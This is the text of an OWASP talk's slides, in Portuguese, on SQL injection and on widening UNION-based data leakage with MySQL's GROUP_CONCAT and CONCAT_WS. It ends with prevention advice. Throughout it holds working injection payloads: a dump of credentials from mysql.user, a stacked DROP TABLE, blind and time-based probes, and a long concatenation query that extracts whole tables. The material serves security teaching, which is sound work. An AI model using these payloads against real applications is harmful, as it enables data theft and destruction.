SQL Injection
Amplifying Data Leakage

Ulisses Castro
Security Researcher
uss.castro@gmail.com

OWASP

The OWASP Foundation
http://www.owasp.org

Ulisses Castro

- Consultor, Instrutor e Pentester
- Teste de Intrusão e Análise de Vulnerabilidades
- Hardening S.O e Banco de Dados
- Mantenedor Debian (selinux-basics)
- CEH – Certified Ethical Hacker
- LPIC-2 – Linux Professional Institute Certified
- Colaborador em diversos projetos de software livre relacionados com segurança

Agenda

- Introdução
- Técnicas utilizadas
- Potencializando UNION (inband)
  - group_concat
  - concat_ws
  - Demo PoC: sqlidump
  - Idéias e possibilidades
- Prevenções
- Ferramentas recomendadas
- Duvidas, agradecimentos, contatos...

Introdução - O que é SQL Injection?

Ataque de injeção em aplicações que não tratam de maneira adequada a entrada de dados do usuário permitindo que comandos SQL maliciosos possam ser enviados ao banco de dados.

Uma das mais antigas e ainda mais utilizada vulnerabilidade em aplicações web.

(1998 - Phrack 54)

Técnicas utilizadas

- UNION (inband)

http://www.site.com/index.php?noticia=13 UNION ALL SELECT query --

http://www.site.com/index.php?noticia=13 UNION ALL SELECT null, concat(user,0x3a,password), null FROM mysql.user **LIMIT 0,1**--

- STACKED

http://www.site.com/index.asp?noticia=13; DROP TABLE noticias; --

Técnicas utilizadas

- BLIND

http://www.site.com/index.php?noticia=13 AND
SUBSTRING(‘SELECT USER()’, 1, 1) = ‘a’--

- BLIND (time based)

http://www.site.com/index.php?noticia=13 UNION SELECT
BENCHMARK(1000000000,MD5('testing'))

UNION (inband)

DEMO

Problema do LIMIT

Potencializando UNION (inband)

- GROUP_CONCAT()
  - Retirado do manual (MySQL)

"This function returns a string result with the concatenated non-NULL values from a group.

(...)

The result is truncated to the maximum length that is given by the group_concat_max_len system variable, which has a **default value of 1024**.

(...)"

Potencializando UNION (inband)

- concat_ws()
  - Retirado do manual (MySQL)

"CONCAT_WS() stands for Concatenate With Separator and is a special form of CONCAT(). The first argument is the separator for the rest of the arguments. The separator is added between the strings to be concatenated. The separator can be a string, as can the rest of the arguments. If the separator is NULL, the result is NULL."

Potencializando UNION (inband)

- concat_ws()
  - Retirado do manual (MySQL)

"CONCAT_WS() stands for Concatenate With Separator and is a special form of CONCAT(). The first argument is the separator for the rest of the arguments. The separator is added between the strings to be concatenated. The separator can be a string, as can the rest of the arguments. If the separator is NULL, the result is NULL."

CONSULTA PREPARADA

```
SELECT CONCAT('<DATA>','<row>',CONCAT_WS(CONCAT('<row>','<row>'),
   (CONCAT('<column>',CONCAT_WS(CONCAT('<column>','<column>'),IFNULL(CAST(id AS
   CHAR(10000)),0x20),IFNULL(CAST(nome AS CHAR(10000)),0x20),IFNULL(CAST(email AS
   CHAR(10000)),0x20)),'<column>')),(SELECT
   CONCAT('<column>',CONCAT_WS(CONCAT('<column>','<column>'),IFNULL(CAST(id AS
   CHAR(10000)),0x20),IFNULL(CAST(nome AS CHAR(10000)),0x20),IFNULL(CAST(email AS
   CHAR(10000)),0x20)),'<column>') FROM dummy.alunos LIMIT 1,1),(SELECT
   CONCAT('<column>',CONCAT_WS(CONCAT('<column>','<column>'),IFNULL(CAST(id AS
   CHAR(10000)),0x20),IFNULL(CAST(nome AS CHAR(10000)),0x20),IFNULL(CAST(email AS
   CHAR(10000)),0x20)),'<column>') FROM dummy.alunos LIMIT 2,1)),'<row>','<DATA>') FROM
   dummy.alunos LIMIT 0,1;
```

RESULTADO

<DATA>
<row>
<column>1<column>
<column>Mario Brother<column>
<column>mario@dummy.com<column>
<row>
<row>
<column>2<column>
<column>Luigi Brother<column>
<column>luigi@dummy.com<column>
<row>
<row>
<column>3<column>
<column>Koopa Silva<column>
<column>koopa@dummy.com<column>
<row>
<DATA>

Potencializando UNION (inband)

DEMO

sqlidump.py

Algumas idéias...

- BLIND QUERY
  - SELECT ASCII(SUBSTR((SELECT IFNULL(CAST(id AS CHAR(10000)),0x08) FROM dummy.alunos LIMIT 5,1),1,1)) <= 8;

- BLIND QUERY + CONCAT_WS()

```
SELECT CONCAT('<BLIND>',GROUP_CONCAT(CONCAT(
(ASCII(SUBSTR((SELECT IFNULL(CAST(id AS CHAR(10000)),'NULO') FROM
   dummy.alunos LIMIT 1,1),1,1)) <= 8),
(ASCII(SUBSTR((SELECT IFNULL(CAST(id AS CHAR(10000)),'NULO') FROM
   dummy.alunos LIMIT 1,1),1,1)) <= 100)
) SEPARATOR '-'),'<BLIND>');
```

Prevenções

- OWASP - SQL Injection Prevention Cheat Sheet
  - Prepared Statements
  - Stored Procedures
  - Escapar e validar entrada
  - Política do menor privilégio
  - White list, regex, etc...

Ferramentas recomendadas...

- sqlmap
  - http://sqlmap.sourceforge.net
- sqlsus
  - http://sqlsus.sourceforge.net
- sqlninja
  - http://sqlninja.sourceforge.net
- bsql hacker
  - http://labs.portcullis.co.uk/application/bsql-hacker/

OBRIGADO!

- CONTATOS:
  - Ulisses Castro
  - uss.castro@gmail.com
  - http://ulissescastro.wordpress.com
  - http://twitter.com/usscastro